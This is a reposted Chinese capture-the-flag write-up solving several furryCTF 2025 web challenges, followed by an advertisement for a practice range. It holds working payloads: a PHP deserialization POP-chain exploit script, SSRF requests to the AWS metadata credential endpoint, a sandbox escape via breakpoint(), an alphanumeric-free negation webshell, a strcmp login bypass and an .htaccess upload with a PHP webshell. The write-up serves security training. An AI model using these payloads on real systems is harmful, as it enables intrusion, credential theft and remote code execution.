【比赛篇】furryCTF2025高校联合新神赛(Web)

admin 2026-03-17 22:50:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录furryCTF2025Web赛题解题过程,涵盖六道题目:PyEditor利用sys.modules绕过限制,ezmd5数组绕过PHP弱类型,babypop反序列化字符逃逸,CCPreview的SSRF利用AWS元数据,猫猫最后的复仇通过breakpoint沙箱逃逸,命令终端取反构造无字母WebShell,展示了多种Web安全技术的实战应用。 综合评分: 88 文章分类: CTF,WEB安全,代码审计,实战经验


【比赛篇】furryCTF%202025%20高校联合新神赛(Web)

原创

小叶Sec 小叶Sec

小叶Sec

2026年2月5日%2016:35 广东

Web篇 PyEditor

打开发现是这样的

我们首先尝试输出hello%20world

没有问题,我们看看能不能导入模块

这里我们使用requests试试

进程启动了,但是报错了,说明可能os什么的被过滤了,但是我们根据题目意思,似乎有一段没有被正确删除的代码,我们需要回顾一下Python的模块导入机制:

在%20Python%20中,解释器启动或者运行某些初始化脚本时,往往需要用到 os 或 sys 模块。%20当一个模块被导入过一次后,Python%20会把它缓存在一个全局字典里:**sys.modules**。

搜索也可得知,sys.modules是模块缓存字典,我们首先确认一下sys能不能使用,使用以下代码

print(sys)

没有报错,可以使用

这里我们打印出所有已加载模块的名称列表

这里我们发现有os模块,尝试打印环境变量,输入以下代码

print(sys.modules['os'].environ)

这里发现GZCTF_FLAG这个可疑变量,我们尝试构造payload读取该变量的值

print(sys.modules['os'].environ.get('GZCTF_FLAG'))

成功获得flag

furryCTF{dO_No7_1ORgET_to_r3m0Ve_de8u9_WHEN_a2889c194f74_R3L34Se}
ezmd5

考察的是 PHP%20弱类型比较 或 MD5%20碰撞 的绕过技巧。

核心逻辑分析

代码要求满足以下两个条件才能给出%20flag:

$user%20!==%20$passuser 和 pass 的值或类型不能完全相等。

md5($user)%20===%20md5($pass):两者的 MD5%20哈希值必须完全相等。

利用数组绕过

这是最简单且最通用的方法。在%20PHP%20中,md5() 函数预期接收的参数是一个字符串。如果你传入一个数组md5() 会返回 NULL 并触发一个警告(由于代码开头有 error_reporting(0),警告会被隐藏)。

  • md5(array()) -> NULL
  • md5(array()) -> NULL

由于 NULL%20===%20NULL 成立,而两个不同的数组(或不同的键值对)本身不相等,条件就能被完美绕过。

POST%20方法发送以下数据就行

user[]=1&pass[]=2

POFP{d19fb8b0-3263-4976-b082-1e36b00e0068}
babypop

<?php
error_reporting(0);
highlight_file(__FILE__);
class%20SecurityProvider%20{
&nbsp;%20&nbsp;%20private&nbsp;$token;
&nbsp;%20&nbsp;%20public&nbsp;function__construct()%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->token%20=%20md5(uniqid());
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20public&nbsp;function&nbsp;verify($data)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(strpos($data,&nbsp;'..')%20!==&nbsp;false)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20die("Attack%20Detected");
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return$data;
&nbsp;%20&nbsp;%20}
}
class%20LogService%20{
&nbsp;%20&nbsp;%20protected&nbsp;$handler;
&nbsp;%20&nbsp;%20protected&nbsp;$formatter;

&nbsp;%20&nbsp;%20public&nbsp;function&nbsp;__construct($handler&nbsp;=%20null)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->handler%20=&nbsp;$handler;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->formatter%20=%20new%20DateFormatter();
&nbsp;%20&nbsp;%20}

&nbsp;%20&nbsp;%20public&nbsp;function__destruct()%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;($this->handler%20&&%20method_exists($this->handler,&nbsp;'close'))%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->handler->close();
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20}
}
class%20FileStream%20{
&nbsp;%20&nbsp;%20private&nbsp;$path;
&nbsp;%20&nbsp;%20private&nbsp;$mode;
&nbsp;%20&nbsp;%20public&nbsp;$content;
&nbsp;%20&nbsp;%20public&nbsp;function&nbsp;__construct($path,&nbsp;$mode)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->path%20=&nbsp;$path;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->mode%20=&nbsp;$mode;
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20public&nbsp;functionclose()%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;($this->mode%20===&nbsp;'debug'&nbsp;&&%20!empty($this->content))%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$cmd&nbsp;=&nbsp;$this->content;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(strlen($cmd)%20<%202)&nbsp;return;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20@eval($cmd);
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;returntrue;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20}
}
class%20DateFormatter%20{
&nbsp;%20&nbsp;%20public&nbsp;function&nbsp;format($timestamp)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;date('Y-m-d%20H:i:s',&nbsp;$timestamp);
&nbsp;%20&nbsp;%20}
}
class%20UserProfile%20{
&nbsp;%20&nbsp;%20public&nbsp;$username;
&nbsp;%20&nbsp;%20public&nbsp;$bio;
&nbsp;%20&nbsp;%20public&nbsp;$preference;

&nbsp;%20&nbsp;%20public&nbsp;function&nbsp;__construct($u,&nbsp;$b)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->username%20=&nbsp;$u;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->bio%20=&nbsp;$b;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->preference%20=%20new%20DateFormatter();
&nbsp;%20&nbsp;%20}
}
class%20DataSanitizer%20{
&nbsp;%20&nbsp;%20public%20static&nbsp;function&nbsp;clean($input)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;str_replace("hacker",&nbsp;"",&nbsp;$input);
&nbsp;%20&nbsp;%20}
}
$raw_user&nbsp;=&nbsp;$_POST['user']%20??%20null;
$raw_bio&nbsp;=&nbsp;$_POST['bio']%20??%20null;
if&nbsp;($raw_user&nbsp;&&&nbsp;$raw_bio)%20{
&nbsp;%20&nbsp;&nbsp;$sec&nbsp;=%20new%20SecurityProvider();
&nbsp;%20&nbsp;&nbsp;$sec->verify($raw_user);
&nbsp;%20&nbsp;&nbsp;$sec->verify($raw_bio);
&nbsp;%20&nbsp;&nbsp;$profile&nbsp;=%20new%20UserProfile($raw_user,&nbsp;$raw_bio);
&nbsp;%20&nbsp;&nbsp;$data&nbsp;=%20serialize($profile);
&nbsp;%20&nbsp;&nbsp;if&nbsp;(strlen($data)%20>%204096)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20die("Data%20too%20long");
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;$safe_data&nbsp;=%20DataSanitizer::clean($data);
&nbsp;%20&nbsp;&nbsp;$unserialized&nbsp;=%20unserialize($safe_data);
&nbsp;%20&nbsp;&nbsp;if&nbsp;($unserialized&nbsp;instanceof%20UserProfile)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;echo"Profile%20loaded%20for%20"&nbsp;.%20htmlspecialchars($unserialized->username);
&nbsp;%20&nbsp;%20}
}
?>

漏洞原理

字符逃逸:DataSanitizer::clean%20函数将%20hacker(6字节)替换为空(0字节)。利用这个特性,通过在%20user%20字段输入大量%20hacker,导致

序列化字符串长度描述与实际长度不符,从而“吃掉”原本的结构字符,使%20bio%20中的恶意%20Payload%20被解析为%20UserProfile%20的%20preference%20属

性。

POP%20链构造:

入口:%20LogService::__destruct()%20->%20调用%20$this->handler->close()%20。

利用:将%20handler%20指向%20FileStream%20对象。

RCE:%20FileStream::close()%20中,当%20mode%20为%20debug%20时执行%20eval($content)%20,从而执行系统命令。

exp:

<?php
class%20LogService%20{
&nbsp;%20&nbsp;%20protected&nbsp;$handler;
&nbsp;%20&nbsp;%20protected&nbsp;$formatter;
&nbsp;%20&nbsp;%20public&nbsp;function&nbsp;__construct($handler)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->handler%20=&nbsp;$handler;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$this->formatter%20=%20new%20DateFormatter();
&nbsp;%20&nbsp;%20}
}
class%20FileStream%20{
&nbsp;%20&nbsp;%20private&nbsp;$path&nbsp;=&nbsp;'/tmp/pwn';
&nbsp;%20&nbsp;%20private&nbsp;$mode&nbsp;=&nbsp;'debug';
&nbsp;%20&nbsp;%20public&nbsp;$content&nbsp;=&nbsp;'system("cat%20/flag");';
}
class%20DateFormatter%20{
}

$fileStream&nbsp;=%20new%20FileStream();
$logService&nbsp;=%20new%20LogService($fileStream);
$evil_serialized&nbsp;=%20serialize($logService);

$found&nbsp;=&nbsp;false;
for&nbsp;($i&nbsp;=%200;&nbsp;$i&nbsp;<%20100;&nbsp;$i++)%20{
&nbsp;%20&nbsp;&nbsp;$padding&nbsp;=%20str_repeat("0",&nbsp;$i);
&nbsp;%20&nbsp;&nbsp;$bio_payload&nbsp;=&nbsp;$padding&nbsp;.&nbsp;'";s:10:"preference";'&nbsp;.&nbsp;$evil_serialized&nbsp;.&nbsp;'}';
&nbsp;%20&nbsp;&nbsp;$structure_prefix&nbsp;=&nbsp;'";s:3:"bio";s:'&nbsp;.%20strlen($bio_payload)%20.&nbsp;':"';
&nbsp;%20&nbsp;&nbsp;$total_eat_length&nbsp;=%20strlen($structure_prefix)%20+%20strlen($padding);

&nbsp;%20&nbsp;&nbsp;if&nbsp;($total_eat_length&nbsp;%%206%20===%200)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$hacker_count&nbsp;=&nbsp;$total_eat_length&nbsp;/%206;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$user_payload&nbsp;=%20str_repeat("hacker",&nbsp;$hacker_count);

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;echo"user="&nbsp;.&nbsp;$user_payload&nbsp;.&nbsp;"&bio="&nbsp;.%20urlencode($bio_payload)%20.&nbsp;"\n";
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$found&nbsp;=&nbsp;true;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;break;
&nbsp;%20&nbsp;%20}
}
?>

运行得到payload:

user=hackerhackerhackerhacker&bio=00000%22%3Bs%3A10%3A%22preference%22%3BO%3A10%3A%22LogService%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A10%3A%22FileStream%22%3A3%3A%7Bs%3A16%3A%22%00FileStream%00path%22%3Bs%3A8%3A%22%2Ftmp%2Fpwn%22%3Bs%3A16%3A%22%00FileStream%00mode%22%3Bs%3A5%3A%22debug%22%3Bs%3A7%3A%22content%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7Ds%3A12%3A%22%00%2A%00formatter%22%3BO%3A13%3A%22DateFormatter%22%3A0%3A%7B%7D%7D%7D

POFP{3f957a5d-6db0-4cf0-9bed-3ef234645a93}
CCPreview

考点:SSRF、AWS%20EC2%20Metadata%20Service%20(IMDS)%20利用

解题思路

题目提供了一个用于测试内网连通性的 curl 代理服务,且明确提示部署在%20AWS%20EC2%20上。利用%20SSRF%20漏洞访问%20AWS%20实例元数据服务(IMDS)地址 169.254.169.254,获取%20IAM%20Role%20的凭证信息。

题目代码没有对用户输入的%20URL%20进行严格过滤,直接使用 curl 在服务器端发起了请求。这意味着你不仅可以访问外网(比如百度),还可以访问服务器所在的内网

在本题环境中,flag%20并没有存储在%20S3%20Bucket%20中,而是直接作为 SecretAccessKey 藏在了模拟的凭证返回信息里。

探测%20IAM%20Role%20名称

在输入框中填入以下%20Payload:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

获取%20Role%20凭证信息构造%20Payload%20读取该角色的详细凭证:

http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role

POFP{98d0028b-b524-497d-a86c-3aa53df8eda7}
猫猫最后的复仇

考点:沙箱逃逸、breakpoint()、PDB调试器利用

核心原理

黑名单遗漏:附件源码后端%20app.py%20虽然过滤了%20os、exec、import%20等大量危险关键词,但遗漏了%20Python%203.7+%20的内置函数%20breakpoint()。

交互式执行:breakpoint()%20会启动%20PDB%20调试器,该调试器允许用户通过标准输入(stdin)执行任意%20Python%20代码。

输入未过滤:后端仅对提交的“源代码”进行了严格过滤,但对运行期间通过%20/api/send_input%20接口传入的“标准输入”没有任何检测。

攻击链:提交 breakpoint() 绕过静态检查%20->%20进入%20PDB%20调试模式%20->%20通过%20API%20发送恶意%20Payload%20->%20PDB%20执行%20Payload%20读取%20Flag。

breakpoint()

按 F12 打开浏览器控制台,执行以下%20JavaScript%20代码(替换 pid):

var%20pid%20=&nbsp;"3222ac34a35b8186";
fetch('/api/send_input',%20{
&nbsp;%20&nbsp;%20method:&nbsp;'POST',
&nbsp;%20&nbsp;%20headers:%20{'Content-Type':&nbsp;'application/json'},
&nbsp;%20&nbsp;%20body:%20JSON.stringify({
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20pid:%20pid,
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20input:&nbsp;"print(open('/flag.txt').read())"
&nbsp;%20&nbsp;%20})
});

furryCTF{You_Win_f0905aa0d-abf6-4a67-b617-74cb81167a520_qwq}
命令终端

使用adminqwe@123登录

可以发现是命令执行,查看源代码

dirsearch目录扫描

下载发现源代码index.php

<?php
session_start();
if&nbsp;(empty($_SESSION['user_id'])%20||%20!is_int($_SESSION['user_id']))%20{
&nbsp;%20&nbsp;%20header('Location:%20../index.php',&nbsp;true,%20302);
&nbsp;%20&nbsp;&nbsp;exit;
}
$output&nbsp;=&nbsp;"";
if&nbsp;(isset($_POST['cmd']))%20{
&nbsp;%20&nbsp;&nbsp;$code&nbsp;=&nbsp;$_POST['cmd'];
&nbsp;%20&nbsp;&nbsp;if(strlen($code)%20>%20200)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$output&nbsp;=&nbsp;"略略略,这么长还想执行命令?";
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;elseif(preg_match('/[a-z0-9$_\."`\s]/i',&nbsp;$code))%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$output&nbsp;=&nbsp;"啊哦,你的命令被防火墙吃了\n&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;来自waf的消息:杂鱼黑客,就这样还想执行命令?";
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;else&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ob_start();
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20try%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;eval($code);
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}%20catch%20(Throwable&nbsp;$t)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;echo"Execution%20Error.";
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$output&nbsp;=%20ob_get_clean();
&nbsp;%20&nbsp;%20}
}
?>
<!DOCTYPE%20html>
<html>
<head>
&nbsp;%20&nbsp;%20<title>命令执行</title>
&nbsp;%20&nbsp;%20<style>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20body%20{%20background:&nbsp;#000;%20color:&nbsp;#0f0;%20font-family:%20monospace;%20padding:%2050px;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20.console%20{%20border:%201px%20solid&nbsp;#333;%20padding:%2020px;%20max-width:%20800px;%20margin:%200%20auto;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20textarea%20{%20width:%20100%;%20height:%20100px;%20background:&nbsp;#111;%20border:%201px%20solid&nbsp;#444;%20color:&nbsp;#0f0;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20input[type="submit"]%20{%20margin-top:%2010px;%20background:&nbsp;#222;%20color:&nbsp;#fff;%20border:%201px%20solid&nbsp;#fff;%20padding:%205px%2020px;%20cursor:%20pointer;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20.output%20{%20margin-top:%2020px;%20border-top:%201px%20dashed&nbsp;#444;%20padding-top:%2010px;%20color:&nbsp;#ccc;%20white-space:%20pre-wrap;}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20.hint%20{%20font-size:%200.8em;%20color:&nbsp;#444;%20margin-top:%2050px;%20text-align:%20center;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20a%20{%20color:&nbsp;#222;%20text-decoration:%20none;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20a:hover%20{%20color:&nbsp;#444;%20}
&nbsp;%20&nbsp;%20</style>
</head>
<body>
&nbsp;%20&nbsp;%20<div%20class="console">
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<h1>命令执行工具</h1>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<p>欢迎您,%20<?php&nbsp;echo&nbsp;htmlspecialchars($_SESSION['user']);%20?>.%20命令执行系统准备完毕.</p>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<form%20method="POST">
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<p>>%20请输入您的命令:</p>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<textarea%20name="cmd"&nbsp;placeholder="输入你的命令"></textarea>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<br>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<input&nbsp;type="submit"&nbsp;value="执行">
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20</form>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<div%20class="output">
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<strong>命令输出:</strong><br>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<?php&nbsp;echo$output;%20?>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20</div>
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20<!--当你迷茫的时候可以想想backup-->
&nbsp;%20&nbsp;%20</div>
</body>
</html>

漏洞点: %20无字母数字%20WebShell%20(RCE)

关键源码:

else&nbsp;if(preg_match('/[a-z0-9$_\."`\s]/i',&nbsp;$code))%20{
&nbsp;%20&nbsp;%20//%20拦截报错
}&nbsp;else&nbsp;{
&nbsp;%20&nbsp;&nbsp;eval($code);
}

分析:

题目允许执行%20eval(),但设置了极严格的正则%20WAF。%20WAF%20过滤了:%20所有字母%20a-z、数字%200-9、变量符号%20$、下划线%20_、双引号%20“、反引号%20`%20和空白字符%20\s。%20WAF%20未过滤:%20单引号%20‘、圆括号%20()、分号%20;%20以及位运算符(如取反%20~)。

解法:%20利用%20PHP%207+%20的动态函数执行特性%20(func)(arg),配合%20取反运算符%20(~)%20构造%20Payload。%20将命令字符串(如%20system)转换为不可见的非字母数字字节(例如%20s%20的%20ASCII%20码取反是%200x8C)。%20~0x8C%20在%20PHP%20中执行时会被还原为字符%20s。%20WAF%20只能检测%20URL%20解码后的字符,0x8C%20既不是字母也不是数字,完美绕过。

目标%20Payload:%20system(‘cat%20/flag’)%20构造逻辑:%20(‘取反后的SYSTEM’)(‘取反后的CAT%20/FLAG’);

我们需要构造 system 和 cat%20/flag 的取反%20URL%20编码。

system%20->%20%8C%86%8C%8B%9A%92
cat%20/flag%20->%20%9C%9E%8B%DF%D0%99%93%9E%98%20(其中空格变成了%20%DF,绕过%20\s%20检查)

Payload:

(~'%8C%86%8C%8B%9A%92')(~'%9C%9E%8B%DF%D0%99%93%9E%98');
输入数据:cmd=(~%27%8C%86%8C%8B%9A%92%27)(~%27%9C%9E%8B%DF%D0%99%93%9E%98%27);

burp构造请求就行

POST%20/main/index.php%20HTTP/1.1
Host:%20ctf.furryctf.com:37391
Content-Length:%208
Cache-Control:%20max-age=0
Accept-Language:%20zh-CN,zh;q=0.9
Origin:%20http://ctf.furryctf.com:37391
Content-Type:%20application/x-www-form-urlencoded
Upgrade-Insecure-Requests:%201
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/143.0.0.0%20Safari/537.36
Accept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer:%20http://ctf.furryctf.com:37391/main/index.php
Accept-Encoding:%20gzip,%20deflate,%20br
Cookie:%20PHPSESSID=781bad690c2774335ef9c5edf1607c0c
Connection:%20keep-alive

cmd=(~%27%8C%86%8C%8B%9A%92%27)(~%27%9C%9E%8B%DF%D0%99%93%9E%98%27);

POPF{6db21235-ee09-4401-8086-00402b831d53}
SSO%20Drive

看题目描述直接扫描

泄露源码

db.sql

CREATE%20TABLE%20users%20(
&nbsp;%20&nbsp;%20id%20INT%20AUTO_INCREMENT%20PRIMARY%20KEY,
&nbsp;%20&nbsp;%20username%20VARCHAR(50)%20NOT%20NULL,
&nbsp;%20&nbsp;%20password%20VARCHAR(255)%20NOT%20NULL
);
INSERT%20INTO%20users%20(username,%20password)%20VALUES%20('admin',&nbsp;'placeholder');

index.php.bak

<?php
//%20Backup%202026-01-20%20by%20Dev%20Team
//%20TODO:%20Fix%20the%20comparison%20logic%20later?
session_start();
$REAL_PASSWORD&nbsp;=&nbsp;'THIS_IS_A_VERY_LONG_RANDOM_PASSWORD_THAT_CANNOT_BE_BRUTEFORCED_882193712';
if&nbsp;($_SERVER['REQUEST_METHOD']%20===&nbsp;'POST')%20{
&nbsp;%20&nbsp;&nbsp;$u&nbsp;=&nbsp;$_POST['username'];
&nbsp;%20&nbsp;&nbsp;$p&nbsp;=&nbsp;$_POST['password'];
&nbsp;%20&nbsp;&nbsp;if&nbsp;($u&nbsp;===&nbsp;'admin')%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20//%20Dev%20Note:%20using%20strcmp&nbsp;for&nbsp;binary%20safe%20comparison
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(strcmp($p,&nbsp;$REAL_PASSWORD)%20==%200)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$_SESSION['is_admin']%20=&nbsp;true;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20header("Location:%20dashboard.php");
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;exit;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$error&nbsp;=&nbsp;"Password%20Wrong";
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20}
}
?>

index.php.bak 源码中,我们可以看到核心的密码验证逻辑:

if&nbsp;($u&nbsp;===&nbsp;'admin')%20{
&nbsp;%20&nbsp;%20//%20Dev%20Note:%20using%20strcmp&nbsp;for&nbsp;binary%20safe%20comparison
&nbsp;%20&nbsp;&nbsp;if&nbsp;(strcmp($p,&nbsp;$REAL_PASSWORD)%20==%200)%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;$_SESSION['is_admin']%20=&nbsp;true;
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20//%20...
&nbsp;%20&nbsp;%20}
}

漏洞点:%20使用了%20strcmp(REAL_PASSWORD)%20==%200%20进行比较。%20在%20PHP(尤其是%205.x%20和%207.x%20版本)中,strcmp()%20函数有一个著名的缺陷:如果比较的参数中一个是字符串,另一个是数组(Array),它会报错(Warning)并返回%20NULL(在%20PHP%208.0+%20之前)。

在%20PHP%20的弱类型比较(==)中,NULL%20==%200%20是成立的(True)。

利用方法: 我们要欺骗服务器,让它认为我们输入了正确的密码。只需要将 password 参数改为数组形式发送即可。

Payload%20(Burp%20Suite%20或%20Hackbar):

Method:%20POST
URL:%20http://ctf.furryctf.com:35702/index.php
Body:%20username=admin&password[]=1
发送后,strcmp(Array,%20String)%20返回%20NULL,NULL%20==%200%20为真,成功绕过登录,重定向到%20dashboard.php

登录成功

题目描述为了兼容旧系统…运行了一个陈旧服务” :这通常暗示服务器是%20Apache,且开启了对 .htaccess 的支持(AllowOverride%20All),或者支持一些古老的解析方式。

.htaccess创建写内容

AddType%20application/x-httpd-php%20.jpg

这行配置告诉 Apache 服务器,把所有后缀为 .jpg 的文件都当作 PHP 脚本来解析和执行。

define width 1337 #define height 1337

上传图片不让拍拦截修改 然后发现上传木马不成功 所有

硬编码先看文件名,再读文件内容。

列目录 (ls)

请求包

POST /upload.php HTTP/1.1
Host: ctf.furryctf.com:37395
Content-Length: 245
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://ctf.furryctf.com:37395
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4fr3DygEsBJfgkmA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.furryctf.com:37395/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=781bad690c2774335ef9c5edf1607c0c
Connection: keep-alive

------WebKitFormBoundary4fr3DygEsBJfgkmA
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg

#define&nbsp;width 1337
#define&nbsp;height 1337
<pre>
<?= `ls -F /`; ?>
</pre>
------WebKitFormBoundary4fr3DygEsBJfgkmA--

POFP{3fa22fca-c74d-4040-9b73-62939283acea}

靶场推荐

好靶场

学安全,别只看书上手练,就来好靶场。

🔗入口:http://www.loveli.com.cn/

有宝子就问了,主播主播,这么好的靶场怎么用:首先关注好靶场 然后发送bug,可以点击链接直接登录

福利1

找到个人中心,邀请码输入3e5adb8a55db48b8,白嫖14天高级会员。

福利2

关注好靶场bilibili。拿着关注截图找到客服,领取5积分或者7天高级会员。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小叶Sec 小叶Sec 小叶Sec《【比赛篇】furryCTF 2025 高校联合新神赛(Web)》

    评论:0   参与:  0